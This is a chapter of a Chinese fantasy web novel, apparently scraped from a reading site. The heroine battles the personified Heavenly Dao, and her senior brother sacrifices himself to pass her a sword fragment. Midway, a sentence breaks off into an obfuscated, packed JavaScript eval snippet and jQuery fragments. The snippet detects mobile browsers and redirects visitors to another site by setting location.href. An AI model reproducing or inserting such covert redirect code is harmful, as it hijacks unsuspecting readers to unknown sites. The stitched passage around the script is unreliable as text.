85. 魔域印(十)

作品:《钓系师妹拿稳山神剧本

    “好久不见。”


    凌山听见熟悉的苍老的声音,努力睁开被血黏住的眼睛,她调整着呼吸不愿在对方面前露怯。


    她方才是结结实实地被雷劈了一次。


    这个不要脸的老头居然玩偷袭,她一直以为这种事情只有她会做,凌山在心中暗骂。


    “天道小儿,巧遇。”凌山嘴角带着轻蔑地笑,盯着那点不成形的白光,倘若熟悉她的人也在马上就能发现她是生气了。


    她的余光瞥见那道白光扭了扭,心情不是很好的样子。


    周围一片无边空白,多次梦里的场景让她真切踩在脚下,这是两人第一次会面,他将她拉入他的地盘。


    她已经很久没有再做过噩梦。


    手臂的血流到指尖滴在地上,她莫名地想。


    木剑被她收起来,好好放在芥子袋里,凌山活动着手腕,垂下眼漫不经心道:“叫我来这里是想做什么?”


    对方嗤笑一声,白光一闪离她更近了些:“你从来都知道我想要什么。”


    凌山将问心剑唤出来,剑柄被她握在手上,与藤蔓绑在一起,显然已经认她为主。


    通身黑色的问心朝外,能够明显看见中间那条红色的血线,仅差一点就满,泛着森寒冷意,仿佛能够斩破一切虚妄。


    银白色的剑身向内,毫无变化,泛着岁月静好的柔和光泽,让人想起远天的云霞。


    她将剑举在身前,腰间彩色的布条在空中飘荡,周身燃起战意,张扬得像只火红的朱雀:“我一直都知道你想从我这里偷些什么。”


    此话一出立马让对方急了阵脚般炸锅。


    暗淡的白光盯着她同样不敢松懈,如果没有什么仙魔大战,如果一切未曾发生变化,凌山本来该为他半个同僚。


    偏偏她生出了七情六欲将一切计划打乱,它想,也许这人本就不该存在。


    否则也不会让他煞费苦心将芜族放进修真界,如果他从未窥见另一种活法,他就不会从天道变成恶人。


    想要活成常人的样子,生出半颗人心,不上不下,他没有选择。


    他并没有留给她多余的时间,野心快要溺出来,想要趁她虚弱之际一举抹杀。天地在一瞬间乌云密布,像在酝酿浓厚的杀意,人人肉眼都能看出这是数道天罚。


    雷声随之传来在山谷间滚滚,令人胆战惊心,惹得天地为之颤动。


    “轰——”


    ……


    魔域封印碎成万千个碎片,将魔域困住千百年的控制终于消失殆尽,让人得以解脱。


    莫无双刚出来就看见封印口站在许多眼生眼熟的人,按常理来说封印不可能消失得那么快,他们方才应该也有在外面帮忙。


    身披紫袍的狐妖匆忙叫住她,声音直直落入每一个人耳中:“你有没有看见凌道友?!”


    此话一出无数道视线转来,纷纷盯着她将要脱口的句子。外面站着许多人,各大宗门弟子纷纷赶来,妖界和魔域的众人也穿插其中,场面无比混乱,偏偏少了那抹最熟悉的身影。


    莫无双微微阖眼,已然无力,想要开口却吐不出声音,实际上她比这里的多数人更茫然,凌山去了哪里?她不知道,甚至连她是死是活都不知道。


    数道天罚从空中响彻,山雨欲摇,数道亮光在阴暗的云层中穿梭。


    “这么多道雷劫是为了罚谁?”红衣少年挠了挠头,视线在人群中打旋,没有找到要找的人。


    宴如屿的心沉下去生出不好的预感,浑身冰凉,他的目光在人群中寻找却始终没有找到对方。


    宴如屿脚步没有停歇,像是为了自己无端的想法不被验证,拼命在人群中穿梭。


    握着逍遥剑的手顿住,有人于混乱中叫住他,九游子带来凌山的魂灯留影石,画面中枯薄的火苗摇摇欲坠,将熄欲修。


    白发青年神色苍白:“我明明已经…为什么还是会这样。”


    “轰——”


    几人的目光不约而同望向同一个方向,天边的雷劫依旧没有停歇,且一次比一次响彻,在场无人受伤那么此刻正在受罚的是……


    意识到这一点后,齐从唯完全站不住,他忍不住急急冲过去:“她现在人在哪里?!”


    不在仙宗,不在妖界,不在魔域她还能在哪里?!手中的魔骨刀被死死握紧,可他连挡雷都做不到,百密一疏,他甚至忘记有没有给过她避雷符。


    宴如屿迟缓着移开视线,才发觉尾指的红线不知什么时候出现,半截皎红的红绳从他的指尖延伸出去,因主人不在一处而断联。


    红线,对了,红线,他能用此物窥探她的位置。


    白光还在不断闪烁,似乎与对方有着极深的渊源,不愿善罢甘休。


    仅一瞬窥探,他捂住不断往外渗血的眼睛:“她在境中。”


    没有人能够进入境中,凡境物三千各有不同,那只是传闻中的存在,可她又怎么会。


    他话音刚落,强烈的雷劫应声而起,直直朝着他的方向劈开而后又急忙转向,留影石里的魂灯恍若遭遇狂风吹拂,竟然奄奄熄了。


    指尖突然空了,像是一直牵连的耗制消失,那根莫名将两人联系在一起的红绳从未有过差池,可在此刻,竟然生生断掉。


    线断人残,灯熄人灭。


    宴如屿茫然地看着那截突兀地断掉的线,脑中一片空白,绝不可能,他只剩下这一个念头。


    他一直漏掉什么,恍惚间他干涩的挪动着视线,想起那点被他忘记的东西,凌山最初接近他的目的,他曾经刻意忽视的,强装不在意的目的。


    在凌山跌下魔域后,他看见那本心法中多出些字迹,想要取下他身体里的问心碎片并非完全没有方法。


    上面清晰记载着唯一方法。


    他没有其他的方法,从仙界到修真界,从仙魔大战到时日无多的师尊。


    他只剩她这一个亲人。


    “师妹。”宴如屿喃喃自语。


    他的发辫松散开,一滴鲜血从干涩的眼里淌出来,静静顺着滴在紧握刀柄的手,顺着掌纹缝隙将鹅黄色剑柄染红。


    逍遥剑刺进他的胸口,气力在瞬间流失,源于他的强大的剑气倒灌进身体每一寸,他秉着吃力将问心碎片取出。


    只有身体的主人亲自才能取出问心剑碎片,方为问心。


    哪怕指尖已经颤抖到握不住,眼前染遍他的血,他还是要将东西送过去。


    人本活一世逍遥,他不想留下牵绊,临到了他才终于认清自己的心,他爱她。看着断掉的红线,宴如屿垂下眼睫,他明白得太晚了。


    这爱能是亲,能是友,亦能是爱情。


    少年手中的逍遥剑直指乌云密布的天,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16026274|159269||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    红线断掉又如何,他们之间的羁绊早就融进血液里,经脉所流通之处皆为红线。


    ……


    凌山被逼到退无可退的地步,往下是空白塑成的三千世界,若是再往下跌她怕是只能粉身碎骨。


    她勉强撑住身形,发丝粘在脸上,再往下一步就会掉下去,她已经没有力气了。从魔域人牲链到对衡魔尊,她没有料到天道会冒出来。


    这是犯规,她想。


    问心剑没有完全拼成,她不能使出全力,在被消耗殆尽的体力下,她甚至连还手的机会都没找到。


    不经意瞟到身后所剩,狂风将她吹到险些窒息,凌山的意识有些松愣,她承认她是怕死的。


    “你在看什么?”


    熟悉的声音传来,穿透她的耳膜。


    “还是你觉得会有人来救你?仙界,修真界,灵山与魔域,你结识的朋友倒是不少,可惜在这种时刻没有一个能派上用场。”


    天雷故意劈歪一寸,打在她的身旁。


    她这才注意到地上有她一地的血,先前一直差一点的问心剑血线竟然满了,她不知道作何感想。


    凌山抬起那双看得模糊的眼睛,像在仔细辨认对方,眼里的透净宛若从前,她无奈道。


    “你究竟为什么一定要杀掉我,如果你只是想夺问心剑也完全没必要从头就这样处心积虑,一步步引导我。”


    问心剑只认她为主,就算她死了旁人也用不了。


    “起码也要让我死得明白些吧,难道真是因为那所谓的血镜里我会灭世?”


    强大的威压直逼她的面门,紧接着又是数道让人睁不开眼睛的天雷,她听见对方极轻的声音。


    “这个世界,已经不需要神了。”


    老生常言,人死前会看见走马灯。


    凌山此刻觉得这个道理是对的,譬如现在,她看见齐从唯所绘的符箓,紫狐的强大妖术,师姐的箭意,她梦寐以求的问心碎片,以及更多更多的东西。


    直到手中清晰捏碎玉石的触感才告诉她这不是梦,她没有死,她不是会等死的人。


    千钧一发之际她捏碎师兄曾经留给她的玉石,他曾说过此物能将人传到她的身旁,境中容不下旁人存在,但现在看来好在能容下其他。


    她还有翻身的余地,凌山感觉自己的肾上腺素开始狂飙,眼神亮起快惊起火花,玉石带来的东西全部冲向对方,问心剑挥出更强的剑意。


    “那你就把天道的位置给我坐吧——”


    她找到间隙趁机还手,挥出问心的瞬间,藤蔓配合着支援猛地击向对方,多道攻击抵住雷劫让人眼花缭乱。


    白球没有及时躲开,身上出现无数道细小的裂痕,被藤蔓束缚住,死死迎着那些术法与剑气。


    仅一剑让他发出痛苦的嘶吼,不敢相信怎么会变成这样。


    强大的冲力让凌山的大半个身子摇摇欲坠,她趴伏在地看见天道像被架在沸水之上,情况比她更惨。


    对方踉跄着离开,连狠话都来得及放。


    凌山已然竭力,那一剑耗尽她所有力气。眼前一片漆黑,身体无比僵硬,凌山赶在昏睡前朝后倒去。


    她特意选择往鬼市方向倒去,最后一片问心所在之地。


    既要引导她,她不如奉陪到底,等下一次见面,他就不是只被她打这么简单了。